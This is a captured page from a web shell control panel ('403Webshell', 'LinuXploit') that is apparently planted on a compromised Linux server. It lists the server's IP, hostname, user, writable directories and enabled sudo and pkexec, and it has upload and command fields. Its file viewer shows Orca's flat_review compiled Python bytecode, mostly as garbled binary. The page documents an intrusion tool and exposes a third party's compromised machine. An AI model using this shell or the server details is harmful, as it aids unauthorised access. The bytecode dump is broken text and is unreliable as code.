403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/orca/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/orca/__pycache__/flat_review.cpython-310.pyc
o

S�b���@s�dZdZdZdZdZdZddlZddlZdd	lm	Z	dd
lm
Z
ddlmZddlmZdd
lm
Z
ddlmZdZGdd�d�ZGdd�d�ZGdd�d�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�d�ZGdd�d�ZdS) z=Provides the default implementation for flat review for Orca.z$Id$z
$Revision$z$Date$zLCopyright (c) 2005-2008 Sun Microsystems Inc.Copyright (c) 2016 Igalia, S.L.�LGPL�N�)�braille)�debug)�eventsynthesizer)�messages)�
orca_state)�settingsuc@seZdZdZdd�ZdS)�Charz/A character's worth of presentable information.c		Cs>||_||_||_|d|_||_||_||_||_||_dS)aCreates a new char.

        Arguments:
        - word: the Word instance this belongs to
        - startOffset: the start offset with respect to the accessible
        - string: the actual char
        - x, y, width, height: the extents of this Char on the screen
        rN)	�word�index�startOffset�	endOffset�string�x�y�width�height)	�selfrrr
rrrrr�r�2/usr/lib/python3/dist-packages/orca/flat_review.py�__init__-s


z
Char.__init__N)�__name__�
__module__�__qualname__�__doc__rrrrrr
*sr
cs8eZdZdZdd�Zdd�Z�fdd�Zdd	�Z�ZS)
�Wordz;A single chunk (word or object) of presentable information.c		CsT||_||_||_||_t|�|_|jt|�|_||_||_||_	||_
g|_dS)aGCreates a new Word.

        Arguments:
        - zone: the Zone instance this belongs to
        - index: the index of this Word in the Zone
        - startOffset: the start offset with respect to the accessible
        - string: the actual string
        - x, y, width, height: the extents of this Word on the screen
        N)�zonerr
r�len�lengthrrrrr�chars)	rrrr
rrrrrrrrrEs

z
Word.__init__cCs"d|j�dd�|j|j|jjfS)NzWORD: '%s' (%i-%i) %s�
�\n)r�replacer
rr�
accessible�rrrr�__str__\s��zWord.__str__cs�|dkr
t��|�S|j|j|j|jf}z|jj��}Wnd}Yg}t	|j
�D]#\}}||j}|r?|�||dt
j�}|�t||||g|�R��q*|S)Nr r)�super�__getattribute__rrrrrr$�	queryText�	enumeraterr
�getRangeExtents�pyatspi�DESKTOP_COORDS�appendr
)r�attr�extents�textr �i�char�start��	__class__rrr(cs
zWord.__getattribute__cCs6|j|kr|jt|j�krndS||jSdS)z8Returns the char offset with respect to this word or -1.���)r
rr�r�offsetrrr�getRelativeOffsetys$
�zWord.getRelativeOffset)	rrrrrr&r(r:�
__classcell__rrr5rrBsrcsreZdZdZe�dej�Zddd�Zdd�Z	�fdd	�Z
d
d�Zdd
d�Zdd�Z
dd�Zdd�Zdd�Z�ZS)�Zonez>Represents text that is a portion of a single horizontal line.z(\S+\s*)NcCsL||_d|_||_t|�|_||_||_||_||_|p|�	�|_
g|_dS)aCreates a new Zone.

        Arguments:
        - accessible: the Accessible associated with this Zone
        - string: the string being displayed for this Zone
        - extents: x, y, width, height in screen coordinates
        - role: Role to override accessible's role.
        rN)r$r
�_stringrrrrrr�getRole�role�_words)rr$rrrrrr?rrrr�s


z
Zone.__init__cCsd|j�dd�|jfS)Nz
ZONE: '%s' %sr!r")r=r#r$r%rrrr&�szZone.__str__c	s�|dvr
t��|�S|dkr|jS|��s|jS|j|j|j|jf}g}t	t
�|j|j��D]\}}|�
t|||��|��g|�R��q.||_|S)� To ensure we update the content.��wordsrr)r'r(r=�_shouldFakeTextr@rrrrr*�re�finditer�WORDS_REr.rr4�group)rr/r0rCr2rr5rrr(�s&zZone.__getattribute__cCs6tjtjtjtjtjtjtjtjg}|j	|vrdSdS)z8Returns True if we should try to fake the text interfaceTF)
r,�
ROLE_LABEL�	ROLE_MENU�ROLE_MENU_ITEM�ROLE_CHECK_MENU_ITEM�ROLE_RADIO_MENU_ITEM�
ROLE_PAGE_TAB�ROLE_PUSH_BUTTON�ROLE_TABLE_CELLr?)r�	textRolesrrrrD�s�
	zZone._shouldFakeText�cCs�|jdkr|jdkr|j|jko|j|jkSS|jdkr8|jdkr8|j|jko5|j|jkSSt|j|j|j|j�}t|j|j�}||krRdS|j|jd}|j|jd}t||�|krldSdS)zAReturns True if this Zone is physically on the same line as zone.rF�T)rrr�min�max�abs)rr�
pixelDelta�
highestBottom�	lowestTop�middle�
zoneMiddlerrr�_extentsAreOnSameLine�s$$zZone._extentsAreOnSameLinecCsntj|j|jfvr|j|jkSz|jj��}|jj��}WnYntj||fvr2|jj|jjkS|�|�S)zAReturns True if we treat this Zone and zone as being on one line.)r,�ROLE_SCROLL_BARr?r$�parentr>�
ROLE_MENU_BARr\)rr�thisParentRole�zoneParentRolerrr�
onSameLine�s
zZone.onSameLinecCs�d|}t�tj|d�|jD]}d|}t�tj|d�|�|�}|dkr,||fSq|j|kr?|jr?|jd}||jfSdS)Nz,FLAT REVIEW: Searching for word at offset %iTzFLAT REVIEW: Checking %srr7�Nr7)r�println�
LEVEL_INFOrCr:r)r�
charOffset�msgrr9�lastWordrrr�getWordAtOffset�s

�

zZone.getWordAtOffsetcC�dS)�-Returns True if this Zone contains the caret.Frr%rrr�hasCaret��z
Zone.hasCaretcCrj�z4Returns the Word and relative offset with the caret.rcrr%rrr�
wordWithCaretrmzZone.wordWithCaret�N)rR)rrrrrE�compile�UNICODErGrr&r(rDr\rbrirlror;rrr5rr<�s

r<cs>eZdZdZd�fdd�	Z�fdd�Zdd�Zd	d
�Z�ZS)�TextZonez5A Zone whose purpose is to display text of an object.Nc			s>t��|||||||�||_|jt|�|_|j��|_dSrp)r'rr
rrr$r)�_itext)	rr$r
rrrrrr?r5rrrszTextZone.__init__c		s�|dvr
t��|�S�j��j�j�}g}tt��j	|��D]*\}}t
�fdd�|���\}}�j�||t
j�}|�t�|||��g|�R��q|�_|�_t��|�S)rArBcs
|�jSrp�r
�rr%rr�<lambda>s
z+TextZone.__getattribute__.<locals>.<lambda>)r'r(rt�getTextr
rr*rErFrG�map�spanr+r,r-r.rrHr=r@)	rr/rrCr2rr4�endr0r5r%rr(s"zTextZone.__getattribute__cCs2|jj}|j|kr|jkrdS|j|jjkS)rkT)rt�caretOffsetr
r�characterCountr8rrrrl$s
�zTextZone.hasCaretcCs|��sdS|�|jj�Srn)rlrirtr|r%rrrro-szTextZone.wordWithCaretrp)	rrrrrr(rlror;rrr5rrs	s	rsc�.eZdZdZd�fdd�	Z�fdd�Z�ZS)�	StateZonez:A Zone whose purpose is to display the state of an object.Nc	�t��|d|||||�dS�N��r'r�rr$rrrrr?r5rrr9�zStateZone.__init__csP|dvr
t��|�S|dkrtjj}ntjj}|j|j|jd�}|r&|dSdS)zTo ensure we update the state.�r�
brailleStringr)r?rr�)	r'r(r�activeScript�speechGenerator�brailleGenerator�getStateIndicatorr$r?)rr/�	generator�resultr5rrr(<s
zStateZone.__getattribute__rp�rrrrrr(r;rrr5rr6�rcr~)�	ValueZonez:A Zone whose purpose is to display the value of an object.Nc	r�r�r�r�r5rrrQr�zValueZone.__init__csf|dvr
t��|�S|dkrtjj}ntjj}d}|�|j�}|�|j�}|r1|r1d||df}|S)zTo ensure we update the value.r�rr�z%s %sr)	r'r(rr�r�r��getLocalizedRoleNamer$�getValue)rr/r�r��rolename�valuer5rrr(Ts
zValueZone.__getattribute__rpr�rrr5rr�Nr�r�cs0eZdZdZdd�Z�fdd�Zdd�Z�ZS)�LinezAA Line is a single line across a window and is composed of Zones.cCs||_||_d|_dS)z�Creates a new Line, which is a horizontal region of text.

        Arguments:
        - index: the index of this Line in the window
        - zones: the Zones that make up this line
        N)r�zones�brailleRegions)rrr�rrrrns	
z
Line.__init__cs�|dkrd�dd�|jD��S|dkrtdd�|jD��S|dkr+tdd�|jD��S|d	kr9td
d�|jD��S|dkrGtdd�|jD��St��|�S)
Nr� cS�g|]}|j�qSr)r��.0rrrr�
<listcomp>}�z)Line.__getattribute__.<locals>.<listcomp>rcSr�rrvr�rrrr��r�rcSr�r�rr�rrrr��r�rcSr�r)rr�rrrr��r�rcSr�r)rr�rrrr��r�)�joinr�rT�sumrUr'r()rr/r5rrr({szLine.__getattribute__cCsH	g|_d}|jD]o}t|t�r6|j��tjtjtj	fvs*|j��tj
tjtjfvr6t
�|j|j|j|�}nz|j}Wn|j}Yt
�|j|d|�}t|j�rct
�d�}||_|j�|�|d7}||_||_|j�|�|j}|t|�7}q	tjs�t|j�r�t
�d�}||_|j�|�|d7}t
�d�}||_|j�|�|jS)NTrr�rz$l)r�r��
isinstancersr$r>r,�	ROLE_TEXT�ROLE_PASSWORD_TEXT�
ROLE_TERMINAL�ROLE_PARAGRAPH�ROLE_HEADING�	ROLE_LINKr�
ReviewTextrr
r��ReviewComponentr�Region�
brailleOffsetr.�
brailleRegionr	�disableBrailleEOL)rr�r�regionr��pad�regionString�eolrrr�getBrailleRegions�sf

��	���
�




zLine.getBrailleRegions)rrrrrr(r�r;rrr5rr�ks

r�c@seZdZdZdZdZdZdZdZdZ	dZ
dZe
eBZdd�Z
d	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zd7dd�Zdd�Zefdd�Zdd�Zdd�Zd d!�Zd8d"d#�Zd$d%�Zd&d'�Zd(d)�Zefd*d+�Zefd,d-�Zeed.fd/d0�Z eed.fd1d2�Z!eefd3d4�Z"eefd5d6�Z#dS)9�ContextzBContains the flat review regions for the current top-level object.rrrS��c
s�||_g|_g|_d|_d|_d|_d|_d|_d|_d|_	t
j|_|j
�|j�|_d|_z|j��}|�tj�|_Wnd|j}t�tj|d�Ytjg��fdd�}t�|j|�}|sh||j�rh|j}|pl|j|_	|�|j	�\|_|_|�|j�|_|jr�|js�dSt|j�D]'\}}|j|jvr�||_|j�|j�|_|j��\}}	|r�|j|_|	|_nq�d|j|j|j|jf}t�tj|d�dS)	z Create a new Context for script.rN)rrrrz&ERROR: Exception getting extents of %sTcs|o|���vSrp)r>rv��containerRolesrrrw�sz"Context.__init__.<locals>.<lambda>z2FLAT REVIEW: On line %i, zone %i, word %i, char %i)�scriptr��lines�	lineIndex�	zoneIndex�	wordIndex�	charIndex�targetCharInfo�	focusZone�	containerr�locusOfFocus�focusObj�	utilities�topLevelObject�topLevel�bounds�queryComponent�
getExtentsr,r-rrdrerJ�findAncestor�getShowingZones�clusterZonesByLiner*rro)
rr��	componentrg�isContainerr�r2�linerr9rr�rr�sV

�	�zContext.__init__cs�g}dd�t�d|�D�}tt�fdd�|��}|D],\}}}	|���||tj�}
|jj	�
|
|�rF|jj	�|
|�}|�t
|||	g|�R��q|S)a.Traverses the string, splitting it up into separate zones if the
        string contains the EMBEDDED_OBJECT_CHARACTER, which is used by apps
        such as Firefox to handle containment of things such as links in
        paragraphs.

        Arguments:
        - accessible: the accessible
        - string: a substring from the accessible's text specialization
        - startOffset: the starting character offset of the string
        - cliprect: the extents that the Zones must fit inside.

        Returns a list of Zones for the visible text.
        cSs$g|]}g|���|�d��R�qS)r)rzrH)r��mrrrr�s$z.Context.splitTextIntoZones.<locals>.<listcomp>z
[^\ufffc]+cs|d�|d�|dfS)NrrrSrrvrurrrwsz,Context.splitTextIntoZones.<locals>.<lambda>)rErF�listryr)r+r,r-r�r��containsRegion�intersectionr.rs)rr$rr
�cliprectr��
substringsr4r{�	substringr0�clippingrrur�splitTextIntoZones
s�zContext.splitTextIntoZonescCs�z|��}WntygYSwg}|}|t||j�krC|�|tj�}|dr2||vr2|�|�t|d|d�}|t||j�ks|S)NrrSr)	r)�NotImplementedErrorrTr}�getTextAtOffsetr,�TEXT_BOUNDARY_LINE_STARTr.rU)rr$r
rr1r�r9r�rrr�	_getLines's�
�zContext._getLinesc	Cs�|jj�|�s	gSg}|��}dt�|�vr4|���tj�r4|�	��
d�}t|d|�dd�g|�R�gSd}d}|j
}}	t|d�}
}d}}
d}}d}||
kr||
}|�|
|
dd�\}}}}|}||jkrl|
}n|
}t||d�|}
||
ksSd}|j|j}||kr�|}|�||dd�\}}}}|}||kr�|}	n|}
t|	|
d�|
}||ks�d|||	f}t�tj|d�|�|||	�}dt|�|f}t�tj|d�|D]\}}}|�|�||||��q�|S)	aGets a list of Zones from an object that implements the
        AccessibleText specialization.

        Arguments:
        - accessible: the accessible
        - cliprect: the extents that the Zones must fit inside.

        Returns a list of Zones.
        �EditableTextrr7rSrz/FLAT REVIEW: Getting lines for %s offsets %i-%iTz"FLAT REVIEW: %i lines found for %s)r�r��hasPresentableTextr)r,�listInterfaces�getState�contains�STATE_SINGLE_LINEr�r�rsrxr}�intr+rrrrdrer�r�extendr�)rr$r�r�r1r0r9�
lastEndOffset�upperMax�lowerMax�upperMid�lowerMid�upperMin�lowerMin�upperY�lowerY�oldMidrrrr�limitrgr�rr
rrrr�getZonesFromText9sd�
�
�
��zContext.getZonesFromTextcCsD|j|jd|jg}|��}|tjkr't|g|�Rd|i�}|r%|�d|�dS|tjkr6|j	j
�|�r6tj}|tjtj
tjtjfvrDdSd}d}t|�dkr�t|dt�r�|d}|j|j}	|j|j|j|j}
|	dk}|rv|	|d<n|j|j|d<|
|d<t|g|�Rd|i�}|r�|r�|�d|�dS|�|�dSdS)z�If the accessible presents non-textual state, such as a
        checkbox or radio button, insert a StateZone representing
        that state.rr?rNT�rS)rrrr>r,�ROLE_TOGGLE_BUTTONr�insertrPr�r��hasMeaningfulToggleAction�ROLE_CHECK_BOXrL�ROLE_RADIO_BUTTONrMrr�rsrr.)rr�r$r0�indicatorExtentsr?r�stateOnLeft�textZone�textToLeftEdge�textToRightEdgerrr�_insertStateZone�sD

��
�zContext._insertStateZonec
Cs�z|��}|�tj�}WngYSz|��}WngYS|�||�}|s@|tjtjtjfvr@|�	t
|g|�R��n6|svd}tjg}||vrU|jj
j|dd�}tjtjg}	|sh||	vrh|jj
�|�}|rv|�	t||g|�R��|�|||�|S)z1Returns a list of Zones for the given accessible.r�T)�inFlatReview)r�r�r,r-r>r�r]�ROLE_SLIDER�ROLE_PROGRESS_BARr.r��ROLE_TABLE_ROWr�r��getNamerPrI�getRoleNamer<r�)
rr$r�r�r0r?r�r�	redundant�uselessrrr�getZonesFromAccessible�s6
�zContext.getZonesFromAccessiblecs,|r�sdS|�krdSt�|�fdd��S)NFTcs|�kSrprrv�r^rrrw��z#Context._isOrIsIn.<locals>.<lambda>)r,r�)r�childr^rrr�	_isOrIsIn�s
zContext._isOrIsInNc
Cs�|dur|j}|jj�||�}dt|�|f}t�tj|d�gd}}|D]>}|�||�}|s?|jj�	|�}	|	r?|�|	|�}|sBq&|�
|�|sd|rd|jrd|�||j�rdt
tdd�|��p_|}|d}q&dt|�|f}t�tj|d�||fS)zGReturns an unsorted list of all the zones under root and the focusZone.Nz.FLAT REVIEW: %i on-screen objects found for %sTcSs|��Srp)rl��zrrrrw�rz)Context.getShowingZones.<locals>.<lambda>rz"FLAT REVIEW: %i zones found for %s)r�r�r��getOnScreenObjectsrrrdrer�realActiveDescendantr�r�rr��filter)
r�root�boundingbox�objsrg�allZonesr��or��
descendantrrrr��s,

�zContext.getShowingZonescCs�|sgSg}t|dd�d�}|�d�g}|D]}|�|d�r%|�|�q|�t|dd�d��|g}q|rA|�t|dd�d��g}t|�D]\}}|�t||��t|�D]\}	}|||_|	|_qWqGdt|�}
t	�
t	j|
d	�|S)
z?Returns a sorted list of Line clusters containing sorted Zones.cS�|jSrpr�r	rrrrw�z,Context.clusterZonesByLine.<locals>.<lambda>)�keyrr7cSrrprvr	rrrrwrcSrrprvr	rrrrwrz*FLAT REVIEW: Zones clustered into %i linesT)�sorted�poprbr.r*r�r�rrrrdre)rr��lineClusters�sortedZones�
newClusterrr�r��lineClusterr�rgrrrr��s,
�zContext.clusterZonesByLinecCs~|��}|sdS|}|tjkr|j}n |jr3|j|j}|tjkr3|jr3z|j|j}WnYdS|j	|j
|j|j|j
fS)z;Returns the current string, offset, and extent information.)Nr7r7r7r7)�_getCurrentZoner��LINEr�rCr��CHARr r�rrrrr)r�flatReviewTyper�currentrrr�
getCurrents
zContext.getCurrentcCs*||_||_||_||_|�tj�|_dS)a=Sets the current character of interest.

        Arguments:
        - lineIndex: index into lines
        - zoneIndex: index into lines[lineIndex].zones
        - wordIndex: index into lines[lineIndex].zones[zoneIndex].words
        - charIndex: index lines[lineIndex].zones[zoneIndex].words[wordIndex].chars
        N)r�r�r�r�r"r�rr�)rr�r�r�r�rrr�
setCurrent/s

zContext.setCurrentcCsl|�tj�\}}}}}|dkr|dks|dkr|dkrdStt|||dd��}t||d�}||fS)Nr)r7r7rSr)r"r�rr�rU)rrrrrrrrr�_getClickPoint?s zContext._getClickPointcCs,|��\}}|dks|dkrdSt�||�S)z3Routes the mouse pointer to the current accessible.rF)r$r�routeToPoint)rrrrrr�routeToCurrentJszContext.routeToCurrentcCsF|��\}}|dkr|dkrt�|||�rdSt�|��|�r!dSdS)z1Performs a mouse click on the current accessible.rTF)r$r�
clickPoint�clickObject�getCurrentAccessible)r�buttonrrrrr�clickCurrentSszContext.clickCurrentcCsj|jrd|jkrt|j�ksdSdS|j|j}|r-d|jkr,t|j�ks/dSdS|j|jS)Nr)r�r�rr�r�)rr�rrrr_s ��zContext._getCurrentZonecCs|��}|sdS|jS)zReturns the current accessible.N)rr$)rrrrrr)iszContext.getCurrentAccessiblecCs�|jr
|j|jjsddgSd}|j|j}|��}|jD]F}|j|jkrc|j}d|_|jrR|j|jdj	|j	7_t
d|j�D]}|jt|j|j
�7_qB|j|j7_|��||gSq||gS)zbGets the braille for the entire current line.

        Returns [regions, regionWithFocus]
        Nr)r�r�r�r�rr�r��cursorOffsetrCr
�ranger�rrr��repositionCursor)r�regionWithFocusr��regionsrr�rrr�getCurrentBrailleRegionsrs.�
��z Context.getCurrentBrailleRegionscCs�|tjks
|tjkr|j}n|tjkrd}ntd|��|tjkr%|j}nd}d}d}|j|kp>|j|kp>|j|kp>|j|k}|rT||_||_||_||_|�	tj
�|_|S)z�Moves this context's locus of interest to the first char
        of the first relevant zone.

        Arguments:
        - flatReviewType: one of ZONE, LINE or WINDOW

        Returns True if the locus of interest actually changed.
        r�Invalid type: %d)r�r�ZONEr��WINDOW�	Exceptionr�r�r�r"rr�)rr r�r�r�r��movedrrr�goBegin�s0



���zContext.goBeginc	Cs|tjks
|tjkr|j}n|tjkrt|j�d}ntd|��|tjkr*|j}n
t|j|j	�d}|j|j	|}|j
rXt|j
�d}|j
|j}|rUt|�d}nd}nd}d}|j|kpo|j|kpo|j|kpo|j
|k}|r�||_||_||_||_
|�tj�|_|S)z�Moves this context's locus of interest to the last char
        of the last relevant zone.

        Arguments:
        - flatReviewType: one of ZONE, LINE, or WINDOW

        Returns True if the locus of interest actually changed.
        rr2r)r�rr3r�r4rr�r5r�r�rCr r�r�r"rr�)	rr r�r�rr�r r�r6rrr�goEnd�s>



���z
Context.goEndTcCs|jst�tjd�dSd}|tjkrs|jdkr)|jd8_d|_d|_d}�n�|tj	@rq|j
dkrP|j
d8_
t|j|j
j�d|_d|_d|_d}�n�|tj
@rqt|j�d|_
t|j|j
j�d|_d|_d|_d}�n}|tjkr�|jdkr�|jd8_d}�nh|�tj|d�}|r�|j|j
j|j}|jr�|j|jj}|r�t|�d|_�n?|tjk�r�|j|j
j|j}|j}|j
}|j}	|j}
|j}|jdkr�|jd8_d|_d}n |�tj|�}|�r|j|j
j|j}|j�rt|j�d|_|j|j
j|j}|�r�|�r�t|j�dk�s*t|j��r�|j|jj���r�d}|j
dk�rLt|t��rL|j|j
djd}
|
j|jk�rLd}|j|k�sU|�r]|�tj|�}n6|jd}
|
dk�r�|j|
j�r�t|j|
j��r�|j|
j���r�|
d8}
nn|
dk�sg|
dk�r�|
|_|�s�||_
|	|_|
|_||_nM|tjk�r�|tj	@�r�|j
dk�r�|j
d8_
d|_d|_d|_d}n(|tj
@�r�t|j�dk�r�t|j�d|_
d|_d|_d|_d}ntd|��|�r|tjk�r|�tj�|_|S)aiMoves this context's locus of interest to the first char
        of the previous type.

        Arguments:
        - flatReviewType: one of ZONE, CHAR, WORD, LINE
        - wrap: if True, will cross boundaries, including top and
                bottom; if False, will stop on boundaries.

        Returns True if the locus of interest actually changed.
        z!goPrevious(): no lines in contextFrrTr7r2)r�rrd�
LEVEL_FINEr�r3r�r�r��	WRAP_LINEr�rr��WRAP_TOP_BOTTOMr�
goPrevious�WORDrCr r$r�isspacer�rsrr5r"r�)rr �wrap�omitWhitespacer6rr r$r�r�r�r��hasMoreText�prevZonerrrr<�s�





�

�
���


��

�
��zContext.goPreviouscCs�|jst�tjd�dSd}|tjkrr|jt|j|jj	�dkr2|jd7_d|_
d|_d}�n�|tj@rp|jt|j�dkrY|jd7_d|_d|_
d|_d}t
���n||tj@rpd|_d|_d|_
d|_d}t
���nc|tjkr�|j|jj	|j}|jr�|j|j
j}|r�|jt|�dkr�|jd7_d}�n4|�tj|d�}�n*|�tj|�}�n!|�tj|�}�n|tjk�r�|j|jj	|j}|j}|j}|j}	|j
}
|j}|jr�|j
t|j�dkr�|j
d7_
d|_d}n|�tj|�}n|�tj|�}|j|jj	|j}|�rz|�rzt|j�dk�s-t|j��rz|j|j
j���rz|j|k�r;|�tj|�}n?|j
d}
|
t|j�k�ro|j|
j�rat|j|
j��ra|j|
j���rf|
d7}
nn|
t|j�k�sH|
t|j�k�rz|
|_
|�s�||_|	|_|
|_
||_nK|tjk�r�|tj@�r�|jt|j�dk�r�|jd7_d|_d|_
d|_d}n!|tj@�r�|jdk�r�d|_d|_d|_
d|_d}ntd|��|�r�|tjk�r�|�tj�|_|S)a Moves this context's locus of interest to first char of
        the next type.

        Arguments:
        - flatReviewType: one of ZONE, CHAR, WORD, LINE
        - wrap: if True, will cross boundaries, including top and
                bottom; if False, will stop on boundaries.
        zgoNext(): no lines in contextFrrTr2)r�rrdr9r�r3r�rr�r�r�r�r:r�clearr;rrCr �goNextr=r$rr>rr5r"r�)rr r?r@r6rr r$r�r�r�r�rrrrDqs�



�
���
��
���zContext.goNextcCs�d}|tjkrL|js|�tj�|_|j}|\}}}}}	||d}
|�tj|�}|rG	|�tj�\}}}}
}|||
kr=n
|�tjtj�sFnq+||_|S|tjkrW|�||�Std|��)a�Moves this context's locus of interest to first char
        of the type that's closest to and above the current locus of
        interest.

        Arguments:
        - flatReviewType: LINE
        - wrap: if True, will cross top/bottom boundaries; if False, will
                stop on top/bottom boundaries.

        Returns: [string, startOffset, endOffset, x, y, width, height]
        FrSTr2)	r�rr�r"r<rrD�	WRAP_NONEr5�rr r?r6�targetrrrrr�
middleTargetX�bx�by�bwidth�bheightrrr�goAbove�s,

��
�zContext.goAbovecCs�d}|tjkrL|js|�tj�|_|j}|\}}}}}	||d}
|�tj|�}|rG	|�tj�\}}}}
}|||
kr=n
|�tjtj�sFnq+||_|S|tjkrY|�||�}|Std|��)a�Moves this context's locus of interest to the first
        char of the type that's closest to and below the current
        locus of interest.

        Arguments:
        - flatReviewType: one of WORD, LINE
        - wrap: if True, will cross top/bottom boundaries; if False, will
                stop on top/bottom boundaries.

        Returns: [string, startOffset, endOffset, x, y, width, height]
        FrSTr2)r�rr�r"rDrrEr5rFrrr�goBelow"s.

��
��zContext.goBelowrp)r)$rrrrr3rr=rr4rEr:r;�WRAP_ALLrr�r�r�r�rrr�r�r"r#r$r&r+rr)r1r7r8r<rDrMrNrrrrr��sL3H/#
	
	
	 '0
�	/r�)r�__id__�__version__�__date__�
__copyright__�__license__r,rEr�rrrrrr	�EMBEDDED_OBJECT_CHARACTERr
rr<rsrr�r�r�rrrr�<module>s0@-a

Youez - 2016 - github.com/yon3zu
LinuXploit